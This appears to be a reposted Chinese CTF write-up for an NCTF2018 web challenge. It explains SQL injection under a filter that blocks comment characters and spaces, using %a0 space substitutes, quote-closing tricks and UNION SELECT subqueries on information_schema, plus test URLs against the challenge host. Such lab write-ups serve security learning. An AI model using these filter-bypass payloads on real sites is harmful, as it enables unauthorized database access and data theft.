sql注入過濾了#,--+怎么辦


題目是NCTF2018的web題目

①#

?id=1'會直接出來報錯提示。

猜測使用單引號保護id。

另外一打空格就提示you hacker,空格在尾部是不會提示的,猜測用了去除尾部的空格的函數trim()。

空格的過濾繞過  
%20 %09 %0a %0b %0c %0d %a0 %00 /**/    ()
挨個試就行,最好不要用(),因為拼接什么的挺麻煩的  
發現%a0 %0b ()  沒有被過濾,就用%a0吧    

另外還發現了過濾了截斷符號%23,#,--+  

過濾了截斷符號后,我們怎么來繞過最后的那個單引號呢?

常見的sql查詢語句:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  
我指的單引號就是$id'的這個單引號,一般我們會用#注釋掉,現在沒法注釋掉后,應該怎么辦呢?  

我們來看個sql:

參數?id=1'',sql語句仍然能執行成功,題目中也是如此。

當有一個'時,這一個'會落單報錯,但是當有一個和他一起閉合時就不報錯了
只要'能匹配,多少個'都沒有事。  
select ''   這樣雖然查詢為空,但是是不報錯的。

我們輸入  ?id=1''   ,會發現不報錯了已經,但是我們嘗試?id=1' or 1=1'  
發現出錯了。是因為只能直接用在select中,注意是直接。
?id=1''    查詢語句變為select * from user where id='1''' LIMIT0,1     可以
?id=1' and 1=1' 查詢:SELECT * FROM users WHERE id='1' or 1=1'' LIMIT 0,1   不可以
id=-1'  union select 1,2,3'   可以
所以說是直接在select中   

我們本來要靠order by來猜多少個字段,現在不行了直接根據這個來猜:id=-1' union select 1,2,3'

id=1'%a0union%a0select%a01,2,3',其實這里也不用猜,很明顯了,輸出了三個字段。

查詢所有數據庫

select * from user where id='-1' union select group_concat(schema_name),2 from information_schema.schemata'發現又遇到了上邊的情況了

'匹配只能直接在select中,  

這里的解決方法使用到的子查詢

select * from user where id='-1' union select (select group_concat(schema_name) from information_schema.schemata),2,這樣'不就直接在select語句里了。  

總結一下,select ''就是查詢一個空值,和select1,2,3本質是一樣的,所以不會出錯,當''沒有被select,就相當於一對孤零零的引號,所以會出錯。

②#

今天又學到一個新的思路,就是不用select子查詢,用and'閉合。

?id=1%27%a0union%a0select%a0(select%a0group_concat(schema_name)%a0from%a0information_schema.schemata),2,3%a0and%271
實際句子就是select1,2,3 from infor....#
變為      select1,2,3 from infor.... and'1' 這樣也可以把最后的單引號閉合  

這樣一來那些order by,and 1=1,and 1=2就可以正常使用判斷注入點了

http://ctfgame.acdxvfsvd.net:20001/index.php?id=1%27%a0or%a01=2%a0and%a0%271  
http://ctfgame.acdxvfsvd.net:20001/index.php?id=1%27%a0or%a01=1%a0and%a0%271  

這個語句就可以判斷注入點。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM